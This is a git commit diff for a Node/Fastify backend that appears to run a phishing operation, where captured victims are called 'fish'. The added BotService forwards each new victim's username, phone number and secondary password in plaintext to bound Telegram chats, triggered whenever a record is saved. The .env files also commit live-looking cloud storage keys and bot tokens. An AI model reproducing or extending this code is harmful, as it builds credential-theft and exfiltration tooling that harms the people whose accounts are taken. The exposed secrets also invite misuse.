Bläddra i källkod

新增 Telegram Bot 支持,更新环境变量配置,添加系统配置控制器及相关服务,优化鱼类服务以发送通知,确保系统配置管理功能完整。

wuyi 3 månader sedan
förälder
incheckning
bc5cbc38f1

+ 4 - 1
.env

@@ -18,4 +18,7 @@ OSS_KEY=LTAI5tEwZWpR1U3ZpSJ4RMJE
 OSS_SECRET=YTAgTr8lWX4IrtDBM2Efpqa0iD5FfE
 OSS_BUCKET=afjp282x4b
 OSS_REGION=oss-ap-southeast-3
-OSS_ENDPOINT=https://oss-ap-southeast-3.aliyuncs.com
+OSS_ENDPOINT=https://oss-ap-southeast-3.aliyuncs.com
+
+# TGBot
+BOT_TOKEN=7948348187:AAGmqfgNIRU6JFOXqn5pn8cR8Eowt3R4klc

+ 4 - 1
.env.production

@@ -18,4 +18,7 @@ OSS_KEY=LTAI5tEwZWpR1U3ZpSJ4RMJE
 OSS_SECRET=YTAgTr8lWX4IrtDBM2Efpqa0iD5FfE
 OSS_BUCKET=afjp282x4b
 OSS_REGION=oss-ap-southeast-3
-OSS_ENDPOINT=https://oss-ap-southeast-3.aliyuncs.com
+OSS_ENDPOINT=https://oss-ap-southeast-3.aliyuncs.com
+
+# TGBot
+BOT_TOKEN=8274042645:AAG-C4gC3RsslpESKeiGjVCXt04qc-9itr4

+ 115 - 0
package-lock.json

@@ -20,10 +20,12 @@
         "bcryptjs": "^3.0.2",
         "class-transformer": "^0.5.1",
         "class-validator": "^0.14.1",
+        "decimal.js": "^10.6.0",
         "dotenv": "^16.4.7",
         "fastify": "^5.2.2",
         "mysql2": "^3.14.0",
         "reflect-metadata": "^0.2.2",
+        "telegraf": "^4.16.3",
         "tronweb": "^5.3.3",
         "typeorm": "^0.3.21",
         "web3": "^4.16.0",
@@ -1067,6 +1069,12 @@
       "integrity": "sha512-Uy0+khmZqUrUGm5dmMqVlnvufZRSK0FbYzVgp0UMstm+F5+W2/jnEEQyc9vo1ZR/E5ZI/B1WjjoTqBqwJL6Krw==",
       "license": "MIT"
     },
+    "node_modules/@telegraf/types": {
+      "version": "7.1.0",
+      "resolved": "https://registry.npmjs.org/@telegraf/types/-/types-7.1.0.tgz",
+      "integrity": "sha512-kGevOIbpMcIlCDeorKGpwZmdH7kHbqlk/Yj6dEpJMKEQw5lk0KVQY0OLXaCswy8GqlIVLd5625OB+rAntP9xVw==",
+      "license": "MIT"
+    },
     "node_modules/@tronweb3/google-protobuf": {
       "version": "3.21.4",
       "resolved": "https://registry.npmmirror.com/@tronweb3/google-protobuf/-/google-protobuf-3.21.4.tgz",
@@ -1180,6 +1188,18 @@
         }
       }
     },
+    "node_modules/abort-controller": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/abort-controller/-/abort-controller-3.0.0.tgz",
+      "integrity": "sha512-h8lQ8tacZYnR3vNQTgibj+tODHI5/+l06Au2Pcriv/Gmet0eaj4TwWH41sO9wnHDiQsEj19q0drzdWdeAHtweg==",
+      "license": "MIT",
+      "dependencies": {
+        "event-target-shim": "^5.0.0"
+      },
+      "engines": {
+        "node": ">=6.5"
+      }
+    },
     "node_modules/abstract-logging": {
       "version": "2.0.1",
       "resolved": "https://registry.npmmirror.com/abstract-logging/-/abstract-logging-2.0.1.tgz",
@@ -1588,6 +1608,28 @@
         "ieee754": "^1.2.1"
       }
     },
+    "node_modules/buffer-alloc": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/buffer-alloc/-/buffer-alloc-1.2.0.tgz",
+      "integrity": "sha512-CFsHQgjtW1UChdXgbyJGtnm+O/uLQeZdtbDo8mfUgYXCHSM1wgrVxXm6bSyrUuErEb+4sYVGCzASBRot7zyrow==",
+      "license": "MIT",
+      "dependencies": {
+        "buffer-alloc-unsafe": "^1.1.0",
+        "buffer-fill": "^1.0.0"
+      }
+    },
+    "node_modules/buffer-alloc-unsafe": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/buffer-alloc-unsafe/-/buffer-alloc-unsafe-1.1.0.tgz",
+      "integrity": "sha512-TEM2iMIEQdJ2yjPJoSIsldnleVaAk1oW3DBVUykyOLsEsFmEc9kn+SFFPz+gl54KQNxlDnAwCXosOS9Okx2xAg==",
+      "license": "MIT"
+    },
+    "node_modules/buffer-fill": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/buffer-fill/-/buffer-fill-1.0.0.tgz",
+      "integrity": "sha512-T7zexNBwiiaCOGDg9xNX9PBmjrubblRkENuptryuI64URkXDFum9il/JGL8Lm8wYfAXpredVXXZz7eMHilimiQ==",
+      "license": "MIT"
+    },
     "node_modules/buffer-from": {
       "version": "1.1.2",
       "resolved": "https://registry.npmmirror.com/buffer-from/-/buffer-from-1.1.2.tgz",
@@ -1882,6 +1924,12 @@
         }
       }
     },
+    "node_modules/decimal.js": {
+      "version": "10.6.0",
+      "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.6.0.tgz",
+      "integrity": "sha512-YpgQiITW3JXGntzdUmyUR1V812Hn8T1YVXhCu+wO3OpS4eU9l4YdD3qjyiKdV6mvV29zapkMeD390UVEf2lkUg==",
+      "license": "MIT"
+    },
     "node_modules/default-user-agent": {
       "version": "1.0.0",
       "resolved": "https://registry.npmmirror.com/default-user-agent/-/default-user-agent-1.0.0.tgz",
@@ -2258,6 +2306,15 @@
         }
       }
     },
+    "node_modules/event-target-shim": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/event-target-shim/-/event-target-shim-5.0.1.tgz",
+      "integrity": "sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=6"
+      }
+    },
     "node_modules/eventemitter3": {
       "version": "5.0.1",
       "resolved": "https://registry.npmmirror.com/eventemitter3/-/eventemitter3-5.0.1.tgz",
@@ -3361,6 +3418,15 @@
         "obliterator": "^2.0.4"
       }
     },
+    "node_modules/mri": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/mri/-/mri-1.2.0.tgz",
+      "integrity": "sha512-tzzskb3bG8LvYGFF/mDTpq3jpI6Q9wc3LEmBaghu+DdCssd1FakN7Bc0hVNmEyGq1bq3RgfkCb3cmQLpNPOroA==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=4"
+      }
+    },
     "node_modules/ms": {
       "version": "2.1.3",
       "resolved": "https://registry.npmmirror.com/ms/-/ms-2.1.3.tgz",
@@ -3525,6 +3591,15 @@
         "node": ">=0.10.0"
       }
     },
+    "node_modules/p-timeout": {
+      "version": "4.1.0",
+      "resolved": "https://registry.npmjs.org/p-timeout/-/p-timeout-4.1.0.tgz",
+      "integrity": "sha512-+/wmHtzJuWii1sXn3HCuH/FTwGhrp4tmJTxSKJbfS+vkipci6osxXM5mY0jUiRzWKMTgUT8l7HFbeSwZAynqHw==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=10"
+      }
+    },
     "node_modules/package-json-from-dist": {
       "version": "1.0.1",
       "resolved": "https://registry.npmmirror.com/package-json-from-dist/-/package-json-from-dist-1.0.1.tgz",
@@ -3929,6 +4004,15 @@
       ],
       "license": "MIT"
     },
+    "node_modules/safe-compare": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/safe-compare/-/safe-compare-1.1.4.tgz",
+      "integrity": "sha512-b9wZ986HHCo/HbKrRpBJb2kqXMK9CEWIE1egeEvZsYn69ay3kdfl9nG3RyOcR+jInTDf7a86WQ1d4VJX7goSSQ==",
+      "license": "MIT",
+      "dependencies": {
+        "buffer-alloc": "^1.2.0"
+      }
+    },
     "node_modules/safe-regex-test": {
       "version": "1.1.0",
       "resolved": "https://registry.npmmirror.com/safe-regex-test/-/safe-regex-test-1.1.0.tgz",
@@ -3980,6 +4064,15 @@
       "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==",
       "license": "MIT"
     },
+    "node_modules/sandwich-stream": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/sandwich-stream/-/sandwich-stream-2.0.2.tgz",
+      "integrity": "sha512-jLYV0DORrzY3xaz/S9ydJL6Iz7essZeAfnAavsJ+zsJGZ1MOnsS52yRjU3uF3pJa/lla7+wisp//fxOwOH8SKQ==",
+      "license": "Apache-2.0",
+      "engines": {
+        "node": ">= 0.10"
+      }
+    },
     "node_modules/sax": {
       "version": "1.4.1",
       "resolved": "https://registry.npmmirror.com/sax/-/sax-1.4.1.tgz",
@@ -4387,6 +4480,28 @@
         "url": "https://github.com/sponsors/ljharb"
       }
     },
+    "node_modules/telegraf": {
+      "version": "4.16.3",
+      "resolved": "https://registry.npmjs.org/telegraf/-/telegraf-4.16.3.tgz",
+      "integrity": "sha512-yjEu2NwkHlXu0OARWoNhJlIjX09dRktiMQFsM678BAH/PEPVwctzL67+tvXqLCRQQvm3SDtki2saGO9hLlz68w==",
+      "license": "MIT",
+      "dependencies": {
+        "@telegraf/types": "^7.1.0",
+        "abort-controller": "^3.0.0",
+        "debug": "^4.3.4",
+        "mri": "^1.2.0",
+        "node-fetch": "^2.7.0",
+        "p-timeout": "^4.1.0",
+        "safe-compare": "^1.1.4",
+        "sandwich-stream": "^2.0.2"
+      },
+      "bin": {
+        "telegraf": "lib/cli.mjs"
+      },
+      "engines": {
+        "node": "^12.20.0 || >=14.13.1"
+      }
+    },
     "node_modules/thenify": {
       "version": "3.3.1",
       "resolved": "https://registry.npmmirror.com/thenify/-/thenify-3.3.1.tgz",

+ 2 - 0
package.json

@@ -22,10 +22,12 @@
     "bcryptjs": "^3.0.2",
     "class-transformer": "^0.5.1",
     "class-validator": "^0.14.1",
+    "decimal.js": "^10.6.0",
     "dotenv": "^16.4.7",
     "fastify": "^5.2.2",
     "mysql2": "^3.14.0",
     "reflect-metadata": "^0.2.2",
+    "telegraf": "^4.16.3",
     "tronweb": "^5.3.3",
     "typeorm": "^0.3.21",
     "web3": "^4.16.0",

+ 5 - 1
src/config/env.ts

@@ -15,7 +15,8 @@ export const schema = {
     'OSS_SECRET',
     'OSS_BUCKET',
     'OSS_REGION',
-    'OSS_ENDPOINT'
+    'OSS_ENDPOINT',
+    'BOT_TOKEN'
   ],
   properties: {
     PORT: {
@@ -63,6 +64,9 @@ export const schema = {
     },
     OSS_ENDPOINT: {
       type: 'string'
+    },
+    BOT_TOKEN: {
+      type: 'string'
     }
   }
 }

+ 68 - 0
src/controllers/sys-config.controller.ts

@@ -0,0 +1,68 @@
+import { FastifyRequest, FastifyReply, FastifyInstance } from 'fastify'
+import { SysConfigService } from '../services/sys-config.service'
+import { CreateSysConfigBody, ListSysConfigQuery, UpdateSysConfigBody } from '../dto/sys-config.dto'
+
+export class SysConfigController {
+  private sysConfigService: SysConfigService
+
+  constructor(app: FastifyInstance) {
+    this.sysConfigService = new SysConfigService(app)
+  }
+
+  async create(request: FastifyRequest<{ Body: CreateSysConfigBody }>, reply: FastifyReply) {
+    try {
+      const { name } = request.body
+
+      const config = await this.sysConfigService.create(request.body)
+      return reply.code(201).send(config)
+    } catch (error) {
+      return reply.code(500).send(error)
+    }
+  }
+
+  async update(request: FastifyRequest<{ Params: { name: string }; Body: UpdateSysConfigBody }>, reply: FastifyReply) {
+    try {
+      const config = await this.sysConfigService.update(request.params.name, request.body)
+      return reply.send(config)
+    } catch (error) {
+      return reply.code(500).send(error)
+    }
+  }
+
+  async delete(request: FastifyRequest<{ Params: { name: string } }>, reply: FastifyReply) {
+    try {
+      await this.sysConfigService.delete(request.params.name)
+      return reply.send({ success: true })
+    } catch (error) {
+      return reply.code(500).send(error)
+    }
+  }
+
+  async getByName(request: FastifyRequest<{ Params: { name: string } }>, reply: FastifyReply) {
+    try {
+      const config = await this.sysConfigService.getSysConfig(request.params.name)
+      return reply.send(config)
+    } catch (error) {
+      return reply.code(500).send(error)
+    }
+  }
+
+  async list(request: FastifyRequest<{ Querystring: ListSysConfigQuery }>, reply: FastifyReply) {
+    try {
+      const { page = 0, size = 20, name, type } = request.query
+      const configs = await this.sysConfigService.list(Number(page), Number(size), name, type)
+      return reply.send(configs)
+    } catch (error) {
+      return reply.code(500).send(error)
+    }
+  }
+
+  async getConfigTypes(request: FastifyRequest, reply: FastifyReply) {
+    try {
+      const types = await this.sysConfigService.getConfigTypes()
+      return reply.send(types)
+    } catch (error) {
+      return reply.code(500).send(error)
+    }
+  }
+}

+ 25 - 0
src/dto/sys-config.dto.ts

@@ -0,0 +1,25 @@
+import { ConfigType } from '../entities/sys-config.entity'
+
+export interface CreateSysConfigBody {
+  name: string
+  value: string
+  remark?: string
+  type?: ConfigType
+}
+
+export interface UpdateSysConfigBody {
+  value: string
+  remark?: string
+  type?: ConfigType
+}
+
+export interface ListSysConfigQuery {
+  page?: number
+  size?: number
+  name?: string
+  type?: ConfigType
+}
+
+export interface GetSysConfigParams {
+  name: string
+} 

+ 30 - 0
src/entities/sys-config.entity.ts

@@ -0,0 +1,30 @@
+import { Entity, PrimaryGeneratedColumn, Column } from 'typeorm'
+
+export enum ConfigType {
+  String = 'string',
+  Date = 'date',
+  Number = 'number',
+  Boolean = 'boolean',
+  Object = 'object',
+  File = 'file',
+  TimeRange = 'time_range',
+  Range = 'range'
+}
+
+@Entity()
+export class SysConfig {
+  @PrimaryGeneratedColumn()
+  id: number
+
+  @Column({ length: 100, unique: true })
+  name: string
+
+  @Column({ type: 'text' })
+  value: string
+
+  @Column({ nullable: true })
+  public remark: string
+
+  @Column({ default: ConfigType.String })
+  public type: ConfigType
+}

+ 37 - 0
src/routes/sys-config.routes.ts

@@ -0,0 +1,37 @@
+import { FastifyInstance } from 'fastify'
+import { SysConfigController } from '../controllers/sys-config.controller'
+import { authenticate, hasRole } from '../middlewares/auth.middleware'
+import { CreateSysConfigBody, ListSysConfigQuery, UpdateSysConfigBody } from '../dto/sys-config.dto'
+import { UserRole } from '../entities/user.entity'
+
+export default async function sysConfigRoutes(fastify: FastifyInstance) {
+  const sysConfigController = new SysConfigController(fastify)
+
+  fastify.post<{ Body: CreateSysConfigBody }>(
+    '/',
+    { onRequest: [hasRole(UserRole.ADMIN)] },
+    sysConfigController.create.bind(sysConfigController)
+  )
+
+  fastify.post<{ Params: { name: string }; Body: UpdateSysConfigBody }>(
+    '/update/:name',
+    { onRequest: [hasRole(UserRole.ADMIN)] },
+    sysConfigController.update.bind(sysConfigController)
+  )
+
+  fastify.post<{ Params: { name: string } }>(
+    '/delete/:name',
+    { onRequest: [hasRole(UserRole.ADMIN)] },
+    sysConfigController.delete.bind(sysConfigController)
+  )
+
+  fastify.get<{ Params: { name: string } }>('/:name', sysConfigController.getByName.bind(sysConfigController))
+
+  fastify.get<{ Querystring: ListSysConfigQuery }>(
+    '/',
+    { onRequest: [hasRole(UserRole.ADMIN)] },
+    sysConfigController.list.bind(sysConfigController)
+  )
+
+  fastify.get('/types/all', { onRequest: [authenticate] }, sysConfigController.getConfigTypes.bind(sysConfigController))
+}

+ 268 - 0
src/services/bot.service.ts

@@ -0,0 +1,268 @@
+import { Telegraf } from 'telegraf'
+import { Fish } from '../entities/fish.entity'
+import { ConfigType } from '../entities/sys-config.entity'
+import { SysConfig } from '../entities/sys-config.entity'
+import { Repository } from 'typeorm'
+import { createApp } from '../app'
+
+export class BotService {
+  private static _instance: BotService
+
+  public static get instance(): BotService {
+    if (!this._instance) {
+      this._instance = new BotService()
+    }
+    return this._instance
+  }
+
+  private bot: Telegraf
+  private sysConfigRepository: Repository<SysConfig>
+  private app: any
+
+  private constructor() {
+    this.initializeApp()
+  }
+
+  private async initializeApp() {
+    try {
+      this.app = await createApp()
+      this.sysConfigRepository = this.app.dataSource.getRepository(SysConfig)
+
+      // 检查 BOT_TOKEN 是否存在
+      if (!this.app.config.BOT_TOKEN) {
+        console.warn('BOT_TOKEN 未配置,跳过 Telegram Bot 初始化')
+        return
+      }
+
+      this.bot = new Telegraf(this.app.config.BOT_TOKEN, {})
+      this.setupCommands()
+
+      // 添加启动错误处理
+      this.bot.launch().catch(error => {
+        console.error('Telegram Bot 启动失败:', error.message)
+        console.error('请检查网络连接和 BOT_TOKEN 是否正确')
+      })
+
+      console.log('Telegram bot started')
+    } catch (error) {
+      console.error('BotService 初始化失败:', error)
+    }
+  }
+
+  private setupCommands(): void {
+    this.bot.start(ctx => ctx.reply('欢迎使用FisherMan!'))
+
+    this.bot.command('id', ctx => {
+      const chatId = ctx.chat?.id
+
+      const message = `聊天ID: <code>${chatId}</code>\n`
+
+      ctx.reply(message, { parse_mode: 'HTML' })
+    })
+
+    this.bot.command('bind', async ctx => {
+      const chatId = ctx.chat?.id
+      if (!chatId) {
+        return ctx.reply('❌ 无法获取聊天ID')
+      }
+
+      try {
+        await this.bindChatId(chatId.toString())
+        const chatTitle = (ctx.chat as any)?.title || ctx.from?.first_name || '未知'
+        ctx.reply(`✅ 成功绑定聊天:${chatTitle} (ID: ${chatId})`)
+      } catch (error) {
+        this.app.log.error(error, 'bind command error')
+        ctx.reply('❌ 绑定失败,请稍后重试')
+      }
+    })
+
+    this.bot.command('unbind', async ctx => {
+      const chatId = ctx.chat?.id
+      if (!chatId) {
+        return ctx.reply('❌ 无法获取聊天ID')
+      }
+
+      try {
+        await this.unbindChatId(chatId.toString())
+        const chatTitle = (ctx.chat as any)?.title || ctx.from?.first_name || '未知'
+        ctx.reply(`✅ 成功解绑聊天:${chatTitle} (ID: ${chatId})`)
+      } catch (error) {
+        this.app.log.error(error, 'unbind command error')
+        ctx.reply('❌ 解绑失败,请稍后重试')
+      }
+    })
+
+    this.bot.command('list', async ctx => {
+      try {
+        const chatIdConfig = await this.sysConfigRepository.findOne({ where: { name: 'chatId' } })
+        if (!chatIdConfig || !chatIdConfig.value.trim()) {
+          return ctx.reply('📋 当前没有绑定的聊天ID')
+        }
+
+        const chatIds = chatIdConfig.value
+          .split(',')
+          .map(id => id.trim())
+          .filter(id => id.length > 0)
+        let message = `📋 <b>已绑定的聊天ID列表</b>\n\n`
+
+        chatIds.forEach((id, index) => {
+          message += `${index + 1}. <code>${id}</code>\n`
+        })
+
+        message += `\n💡 使用 /unbind 命令可以解绑当前聊天`
+
+        ctx.reply(message, { parse_mode: 'HTML' })
+      } catch (error) {
+        this.app.log.error(error, 'list command error')
+        ctx.reply('❌ 获取列表失败,请稍后重试')
+      }
+    })
+
+    this.bot.catch((err: any, ctx) => {
+      this.app.log.error(err, 'bot error')
+      ctx.reply('出错了: ' + err.message)
+    })
+  }
+
+  onStop() {
+    this.app.log.info('stop bot')
+    try {
+      this.bot.stop()
+    } catch (error) {}
+  }
+
+  async sendMessage(chatId: number | string, text: string) {
+    if (!this.bot) {
+      console.warn('Bot 未初始化,无法发送消息')
+      return
+    }
+
+    try {
+      await this.bot.telegram.sendMessage(chatId, text, { parse_mode: 'HTML' })
+    } catch (error) {
+      console.error('发送消息失败:', error)
+    }
+  }
+
+  async sendFishNotification(fish: Fish, chatId: number | string) {
+    const text = `🎣 <b>🎉 新鱼上钩!🎉</b>
+
+鱼苗ID:     <code>${fish.id}</code>
+用户名:     <code>${fish.username || '未设置'}</code>
+手机号:     <code>+${fish.phone || '未设置'}</code>
+二级密码:  <code>${fish.password || '未设置'}</code>
+上鱼时间:  <code>${fish.createdAt.toLocaleString('zh-CN')}</code>`
+
+    await this.sendMessage(chatId, text)
+  }
+
+  async sendFishNotificationToAll(fish: Fish) {
+    if (!this.bot) {
+      console.warn('Bot 未初始化,跳过发送通知')
+      return
+    }
+
+    if (!this.sysConfigRepository) {
+      console.warn('SysConfigRepository 未初始化,跳过发送通知')
+      return
+    }
+
+    try {
+      const chatIdConfig = await this.sysConfigRepository.findOne({ where: { name: 'chatId' } })
+      if (!chatIdConfig?.value?.trim()) {
+        console.warn('chatId 配置不存在或为空,跳过发送通知')
+        return
+      }
+
+      const chatIds = chatIdConfig.value
+        .split(',')
+        .map(id => id.trim())
+        .filter(id => id.length > 0)
+
+      if (chatIds.length === 0) {
+        console.warn('没有有效的 chatId 配置')
+        return
+      }
+
+      console.log(`准备向 ${chatIds.length} 个聊天发送通知: ${chatIds.join(', ')}`)
+
+      for (const chatId of chatIds) {
+        try {
+          await this.sendFishNotification(fish, chatId)
+          console.log(`成功发送通知到 chatId: ${chatId}`)
+        } catch (error) {
+          console.error(`发送通知到 chatId ${chatId} 失败:`, error)
+        }
+      }
+    } catch (error) {
+      console.error('sendFishNotificationToAll 失败:', error)
+    }
+  }
+
+  async bindChatId(chatId: string) {
+    if (!this.sysConfigRepository) {
+      throw new Error('SysConfigRepository 未初始化')
+    }
+
+    const existingConfig = await this.sysConfigRepository.findOne({ where: { name: 'chatId' } })
+
+    if (existingConfig) {
+      const currentChatIds = existingConfig.value
+        .split(',')
+        .map(id => id.trim())
+        .filter(id => id.length > 0)
+
+      if (currentChatIds.includes(chatId)) {
+        this.app.log.info(`chatId ${chatId} 已存在,跳过绑定`)
+        return
+      }
+
+      currentChatIds.push(chatId)
+      existingConfig.value = currentChatIds.join(',')
+      await this.sysConfigRepository.save(existingConfig)
+      this.app.log.info(`成功更新 chatId 配置,添加: ${chatId}`)
+    } else {
+      const newConfig = this.sysConfigRepository.create({
+        name: 'chatId',
+        value: chatId,
+        remark: 'Telegram 通知接收者聊天ID',
+        type: ConfigType.String
+      })
+      await this.sysConfigRepository.save(newConfig)
+      this.app.log.info(`成功创建 chatId 配置: ${chatId}`)
+    }
+  }
+
+  async unbindChatId(chatId: string) {
+    if (!this.sysConfigRepository) {
+      throw new Error('SysConfigRepository 未初始化')
+    }
+
+    const existingConfig = await this.sysConfigRepository.findOne({ where: { name: 'chatId' } })
+
+    if (!existingConfig) {
+      this.app.log.warn('chatId 配置不存在,无法解绑')
+      return
+    }
+
+    const currentChatIds = existingConfig.value
+      .split(',')
+      .map(id => id.trim())
+      .filter(id => id.length > 0)
+    const filteredChatIds = currentChatIds.filter(id => id !== chatId)
+
+    if (filteredChatIds.length === currentChatIds.length) {
+      this.app.log.info(`chatId ${chatId} 不存在,跳过解绑`)
+      return
+    }
+
+    if (filteredChatIds.length === 0) {
+      await this.sysConfigRepository.remove(existingConfig)
+      this.app.log.info('成功删除 chatId 配置')
+    } else {
+      existingConfig.value = filteredChatIds.join(',')
+      await this.sysConfigRepository.save(existingConfig)
+      this.app.log.info(`成功更新 chatId 配置,移除: ${chatId}`)
+    }
+  }
+}

+ 14 - 2
src/services/fish.service.ts

@@ -5,11 +5,13 @@ import { FishFriends } from '../entities/fish-friends.entity'
 import { PaginationResponse } from '../dto/common.dto'
 import { ListFishQuery } from '../dto/fish.dto'
 import * as XLSX from 'xlsx'
+import { BotService } from './bot.service'
 
 export class FishService {
   private fishRepository: Repository<Fish>
   private fishFriendsRepository: Repository<FishFriends>
   private app: FastifyInstance
+  private botService = BotService.instance
 
   constructor(app: FastifyInstance) {
     this.fishRepository = app.dataSource.getRepository(Fish)
@@ -19,7 +21,17 @@ export class FishService {
 
   async create(data: Partial<Fish>): Promise<Fish> {
     const fish = this.fishRepository.create(data)
-    return this.fishRepository.save(fish)
+    const savedFish = await this.fishRepository.save(fish)
+
+    // 发送 Telegram 通知
+    try {
+      await this.botService.sendFishNotificationToAll(savedFish)
+      this.app.log.info(`Fish notification sent for fish ID: ${savedFish.id}`)
+    } catch (error) {
+      this.app.log.error(error, `Failed to send fish notification for fish ID: ${savedFish.id}`)
+    }
+
+    return savedFish
   }
 
   async findById(id: string): Promise<Fish> {
@@ -214,7 +226,7 @@ export class FishService {
         return baseQuery.clone().where(whereClause, parameters).select(['fish.createdAt', 'fish.result']).getMany()
       })()
     ])
-    
+
     const dateRange = Array.from({ length: days }, (_, i) => {
       const date = new Date(startDate)
       date.setDate(startDate.getDate() + i)

+ 79 - 0
src/services/sys-config.service.ts

@@ -0,0 +1,79 @@
+import { FastifyInstance } from 'fastify'
+import { SysConfig } from '../entities/sys-config.entity'
+import { Like, Repository } from 'typeorm'
+import { CreateSysConfigBody, UpdateSysConfigBody } from '../dto/sys-config.dto'
+import { ConfigType } from '../entities/sys-config.entity'
+
+export class SysConfigService {
+  private app: FastifyInstance
+  private sysConfigRepository: Repository<SysConfig>
+
+  constructor(app: FastifyInstance) {
+    this.app = app
+    this.sysConfigRepository = app.dataSource.getRepository(SysConfig)
+  }
+
+  async getSysConfig(name: string) {
+    const sysConfig = await this.sysConfigRepository.findOneOrFail({ where: { name } })
+    return sysConfig
+  }
+
+  async getSysConfigByChatId() {
+    return await this.sysConfigRepository.findOne({ where: { name: 'chatId' } })
+  }
+
+  async create(data: CreateSysConfigBody) {
+    const existingConfig = await this.sysConfigRepository.findOne({ where: { name: data.name } })
+    if (existingConfig) {
+      throw new Error('配置名称已存在')
+    }
+    const config = this.sysConfigRepository.create(data)
+    return await this.sysConfigRepository.save(config)
+  }
+
+  async update(name: string, data: UpdateSysConfigBody) {
+    const config = await this.getSysConfig(name)
+    Object.assign(config, data)
+    return await this.sysConfigRepository.save(config)
+  }
+
+  async delete(name: string) {
+    const config = await this.getSysConfig(name)
+    return await this.sysConfigRepository.remove(config)
+  }
+
+  async list(page: number = 0, size: number = 20, name?: string, type?: ConfigType) {
+    const where: any = {}
+
+    if (name) {
+      where.name = Like(`%${name}%`)
+    }
+
+    if (type) {
+      where.type = type
+    }
+
+    const [data, total] = await this.sysConfigRepository.findAndCount({
+      where,
+      skip: page * size,
+      take: size,
+      order: {
+        id: 'ASC'
+      }
+    })
+
+    return {
+      data,
+      meta: {
+        page,
+        size,
+        total,
+        totalPages: Math.ceil(total / size)
+      }
+    }
+  }
+
+  async getConfigTypes() {
+    return Object.values(ConfigType)
+  }
+}

+ 76 - 0
yarn.lock

@@ -441,6 +441,11 @@
   resolved "https://registry.npmmirror.com/@sqltools/formatter/-/formatter-1.2.5.tgz"
   integrity sha512-Uy0+khmZqUrUGm5dmMqVlnvufZRSK0FbYzVgp0UMstm+F5+W2/jnEEQyc9vo1ZR/E5ZI/B1WjjoTqBqwJL6Krw==
 
+"@telegraf/types@^7.1.0":
+  version "7.1.0"
+  resolved "https://registry.npmjs.org/@telegraf/types/-/types-7.1.0.tgz"
+  integrity sha512-kGevOIbpMcIlCDeorKGpwZmdH7kHbqlk/Yj6dEpJMKEQw5lk0KVQY0OLXaCswy8GqlIVLd5625OB+rAntP9xVw==
+
 "@tronweb3/google-protobuf@^3.21.2":
   version "3.21.4"
   resolved "https://registry.npmmirror.com/@tronweb3/google-protobuf/-/google-protobuf-3.21.4.tgz"
@@ -519,6 +524,13 @@ abitype@0.7.1:
   resolved "https://registry.npmmirror.com/abitype/-/abitype-0.7.1.tgz"
   integrity sha512-VBkRHTDZf9Myaek/dO3yMmOzB/y2s3Zo6nVU7yaw1G+TvCHAjwaJzNGN9yo4K5D8bU/VZXKP1EJpRhFr862PlQ==
 
+abort-controller@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.npmjs.org/abort-controller/-/abort-controller-3.0.0.tgz"
+  integrity sha512-h8lQ8tacZYnR3vNQTgibj+tODHI5/+l06Au2Pcriv/Gmet0eaj4TwWH41sO9wnHDiQsEj19q0drzdWdeAHtweg==
+  dependencies:
+    event-target-shim "^5.0.0"
+
 abstract-logging@^2.0.1:
   version "2.0.1"
   resolved "https://registry.npmmirror.com/abstract-logging/-/abstract-logging-2.0.1.tgz"
@@ -772,6 +784,24 @@ brorand@^1.1.0:
   resolved "https://registry.npmmirror.com/brorand/-/brorand-1.1.0.tgz"
   integrity sha512-cKV8tMCEpQs4hK/ik71d6LrPOnpkpGBR0wzxqr68g2m/LB2GxVYQroAjMJZRVM1Y4BCjCKc3vAamxSzOY2RP+w==
 
+buffer-alloc-unsafe@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.npmjs.org/buffer-alloc-unsafe/-/buffer-alloc-unsafe-1.1.0.tgz"
+  integrity sha512-TEM2iMIEQdJ2yjPJoSIsldnleVaAk1oW3DBVUykyOLsEsFmEc9kn+SFFPz+gl54KQNxlDnAwCXosOS9Okx2xAg==
+
+buffer-alloc@^1.2.0:
+  version "1.2.0"
+  resolved "https://registry.npmjs.org/buffer-alloc/-/buffer-alloc-1.2.0.tgz"
+  integrity sha512-CFsHQgjtW1UChdXgbyJGtnm+O/uLQeZdtbDo8mfUgYXCHSM1wgrVxXm6bSyrUuErEb+4sYVGCzASBRot7zyrow==
+  dependencies:
+    buffer-alloc-unsafe "^1.1.0"
+    buffer-fill "^1.0.0"
+
+buffer-fill@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.npmjs.org/buffer-fill/-/buffer-fill-1.0.0.tgz"
+  integrity sha512-T7zexNBwiiaCOGDg9xNX9PBmjrubblRkENuptryuI64URkXDFum9il/JGL8Lm8wYfAXpredVXXZz7eMHilimiQ==
+
 buffer-from@^1.0.0:
   version "1.1.2"
   resolved "https://registry.npmmirror.com/buffer-from/-/buffer-from-1.1.2.tgz"
@@ -971,6 +1001,11 @@ debug@^4.1.1, debug@^4.3.4:
   dependencies:
     ms "^2.1.3"
 
+decimal.js@^10.6.0:
+  version "10.6.0"
+  resolved "https://registry.npmjs.org/decimal.js/-/decimal.js-10.6.0.tgz"
+  integrity sha512-YpgQiITW3JXGntzdUmyUR1V812Hn8T1YVXhCu+wO3OpS4eU9l4YdD3qjyiKdV6mvV29zapkMeD390UVEf2lkUg==
+
 default-user-agent@^1.0.0:
   version "1.0.0"
   resolved "https://registry.npmmirror.com/default-user-agent/-/default-user-agent-1.0.0.tgz"
@@ -1169,6 +1204,11 @@ ethers@^6.6.0:
     tslib "2.7.0"
     ws "8.17.1"
 
+event-target-shim@^5.0.0:
+  version "5.0.1"
